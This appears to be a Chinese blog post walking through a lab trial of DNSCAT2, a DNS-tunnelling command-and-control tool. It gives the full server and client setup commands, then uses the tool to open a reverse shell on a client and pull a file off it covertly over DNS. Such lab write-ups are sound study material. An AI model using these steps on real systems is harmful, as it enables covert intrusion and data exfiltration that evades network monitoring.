DNSCAT2试用

最近在研究DNS隧道技术，试用了一下DNSCAT2这个隧道软件，记录一下过程。

下载与安装

DNSCAT2有客户端和服务端之分。客户端由纯C编写，服务端使用的ruby。为了安装方便，我选择了Ubuntu18.4LTS来搭建DNSCAT 服务端。

在操作系统安装成功后，首先安装一些依赖包(GCC, ruby)：

sudo apt-get update
sudo apt-get install make
sudo apt-get install build-essential
sudo apt-get install ruby-dev

下载DNSCAT2的源代码：

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundler install

过程中可能需要安装一些ruby库。在我的搭建过程中，由于最开始安装的是mini版的Ubuntu Server，默认没有安装GCC，而salsa20，sha3这些库是需要编译安装的，因此一直没有装成功。后面按照提示安装了make和gcc之后，顺利地把server安装起来。

接着安装文档中的描述将DNSCat2 Server运行起来，

sudo ruby ./dnscat2.rb your.domain.name --secret=xxxx --security=open --no-cache

由于是在内网做实验，我随便指定了一个域名。此外，秘钥需要记录下来，后续DNSCat client在连接时会有用到。

在运行服务端时需要注意，本地的53端口会被占用，比如在Ubuntu18上，这个端口在回环地址127.0.0.53上被systemd-resolved占用了。默认情况下，server端地址是绑定在0.0.0.0，即本宿主机全部网络接口上，会和systemd-resolved冲突。实际上DNSCat只需要绑定在对外通讯的IP上因此可以在启动时指定IP：

sudo ruby ./dnscat2.rb --dns 'host=172.17.1.47,port=53,domain=a.com,domain=b.com' --secret=xxxx --security=open --no-cache

以上就是Server端的安装工作。下面是Client端要做的事情，比Server端要简单很多。

Client端是纯C代码，无依赖，直接编译后即可运行。

cd dnscat2/client/
make
./dnscat --dns=server=172.17.1.47,port=53 --secret=xxxx

客户端运行成功与服务端建立连接后会产生相关打印：

$ ./dnscat --dns server=172.17.1.47,port=53 --secret=xxxx
Creating DNS driver:
 domain = (null)
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 172.17.1.47

** Peer verified with pre-shared secret!

Session established!

使用

作为一款C&C工具，在Client端连接上了以后，可以通过Server端执行一些命令对Client进行控制。

DNSCAT使用window这个概念来标识不同的client，在服务端使用windows命令可以列举当前已连接上来的客户端。

dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 172.17.1.47:53 domains = a.com, b.com [*]
  1 :: command (ubuntu-test) [encrypted and verified] [*]

其中0是server端主控，1是我们刚才运行连接上来的客户端。

dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (ubuntu-test) 1> 

使用session -i id，进入到某个连接上来的client的session中，我们使用help命令，看一下dnscat支持的功能：

command (ubuntu-test) 1> help

Here is a list of commands (use -h on any of them for additional help):
* clear
* delay
* download
* echo
* exec
* help
* listen
* ping
* quit
* set
* shell
* shutdown
* suspend
* tunnels
* unset
* upload
* window
* windows

使用shell命令创建一个反弹shell。这个反弹shell是创建了另外一个会话，我们需要使用ctrl + D退出当前会话，然后进入对应的反弹shell会话中：

dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 172.17.1.47:53 domains = a.com, b.com [*]
  1 :: (not set) [cleartext] [*] [idle for 84 seconds]
  2 :: (not set) [cleartext] [*] [idle for 84 seconds]
  3 :: command (ubuntu-test) [encrypted and verified]
  4 :: sh (ubuntu-test) [encrypted and verified] [*]
dnscat2> session -i 4
New window created: 4
history_size (session) => 1000
Session 4 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (ubuntu-test) 4> ls
sh (ubuntu-test) 4> controller
dnscat
dnscat.c
dnscat.o
drivers
libs
Makefile
Makefile.win
tcpcat.c
tunnel_drivers
win32

接下来就可以在这里使用shell命令了。

此外dnscat2还提供了方便的上传下载命令即：download和upload。在使用时需要知道对应文件的位置。

command (ubuntu-test) 2> download /home/fred/2.txt
Attempting to download /home/fred/2.txt to 2.txt
command (ubuntu-test) 2> Wrote 28 bytes from /home/fred/2.txt to 2.txt!

下载下来的文件会位于当前server脚本运行目录。

总结

本文总结了dnscat2的一些简单的安装和使用方法，仅供研究使用。